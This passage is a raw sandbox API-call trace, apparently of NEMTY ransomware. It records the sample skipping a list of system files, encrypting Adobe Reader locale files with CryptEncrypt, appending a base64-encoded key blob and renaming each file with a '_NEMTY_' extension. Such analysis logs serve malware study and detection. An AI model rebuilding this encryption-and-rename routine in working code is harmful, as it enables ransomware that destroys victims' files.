dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.632] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SaveAsRTF.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\saveasrtf.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SaveAsRTF.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\saveasrtf.rum._nemty_kgobjgd_")) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.632] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.RUM", cAlternateFileName="")) returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2=".") returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="..") returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="...") returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="windows") returned -1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="rsa") returned 1 [0182.632] lstrcmpiW (lpString1="Search.RUM", lpString2="NTDETECT.COM") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="ntldr") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="MSDOS.SYS") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="IO.SYS") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="boot.ini") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="boot.ini") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="ntuser.dat") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="desktop.ini") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="CONFIG.SYS") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="RECYCLER") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="bootmgr") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="programdata") returned 1 [0182.633] lstrcmpiW (lpString1="Search.RUM", lpString2="appdata") returned 1 [0182.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.634] Sleep (dwMilliseconds=0x5) [0182.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2082a730, dwHighDateTime=0x1d561e8)) [0182.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2082a730, dwHighDateTime=0x1d561e8)) [0182.643] GetLastError () returned 0x0 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.643] GetLastError () returned 0x0 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.643] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.643] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hFpYy6dkDfSV7Hys2DX5syL0CDA8icDwNzKnAqyUzmR8svv1yC8sBPEICHXBsZOk\r\nC0m7qgHeda3PuzO27SPlcekEGls6zySj3YUmlKwlIclykE8cj6IuSgbw3nQkInx3\r\ng2Rhi5S9oeWMUJ1LBuIDM+Zp1aGDa1CkATH3D40wQBo68osoqwnXqO/TZjI+zXVh\r\nrjlXkK5UTt5KIyJeLP9OA/HlSMH75sI3CPNe7af1Y+oEEN+r8AXZfBMSSiqIqjAq\r\npoTwXn7Ou9CbfUX6tW5QDyluoUe46RbXk/WuTY4umHidz8SjZGdT9Y3JQcj8eleJ\r\nyYdugkw74VMzA/gn/j0ppg==\r\n", pcchString=0x653e5dc) returned 1 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Search.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\search.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.644] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0182.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0182.644] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.644] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0182.647] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.647] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0182.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.647] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0182.647] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.647] CloseHandle (hObject=0x2e8) returned 1 [0182.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.648] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Search.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\search.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Search.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\search.rum._nemty_kgobjgd_")) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.648] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.RUM", cAlternateFileName="")) returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2=".") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="..") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="...") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="windows") returned -1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="rsa") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="NTDETECT.COM") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="ntldr") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="MSDOS.SYS") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="IO.SYS") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="boot.ini") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="boot.ini") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="ntuser.dat") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="desktop.ini") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="CONFIG.SYS") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="RECYCLER") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="bootmgr") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="programdata") returned 1 [0182.649] lstrcmpiW (lpString1="SendMail.RUM", lpString2="appdata") returned 1 [0182.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.650] Sleep (dwMilliseconds=0x5) [0182.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20850890, dwHighDateTime=0x1d561e8)) [0182.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20850890, dwHighDateTime=0x1d561e8)) [0182.659] GetLastError () returned 0x0 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.659] GetLastError () returned 0x0 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.659] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.659] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IUuKUyi7N9vZ8x0dSMdlyHphc3ozOUOU49UIiMhge9e794g01fiQYOKuUja3a3Dl\r\nwe2dKdTcLqftfwmmrKlCwLg8nKVOUly733ouFq2TIfi5vxnYEg8bclK45aliEDOc\r\nWFTz6iKzBN+bYv8PutvdLjlwtoTwmLfORtedF6sHIr0+k0JzrlrahxvrrOeLnoCZ\r\nWdReSFOQwixOBHCgKjspCfZf/C8hYtyYpvK6GpA/a2pNlOz0XZKhz7WAs5YDlgU3\r\n4rXK3lUebAciLZRgqJLmJtN5QdYgNTqT94E7HfutFpsotarOWMnUODXd0Sz5HeA2\r\n+814raFW0NwZ55fitGx5VQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SendMail.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\sendmail.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.660] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0182.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0182.660] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.660] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0182.662] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.662] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0182.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.663] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0182.663] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.663] CloseHandle (hObject=0x2e8) returned 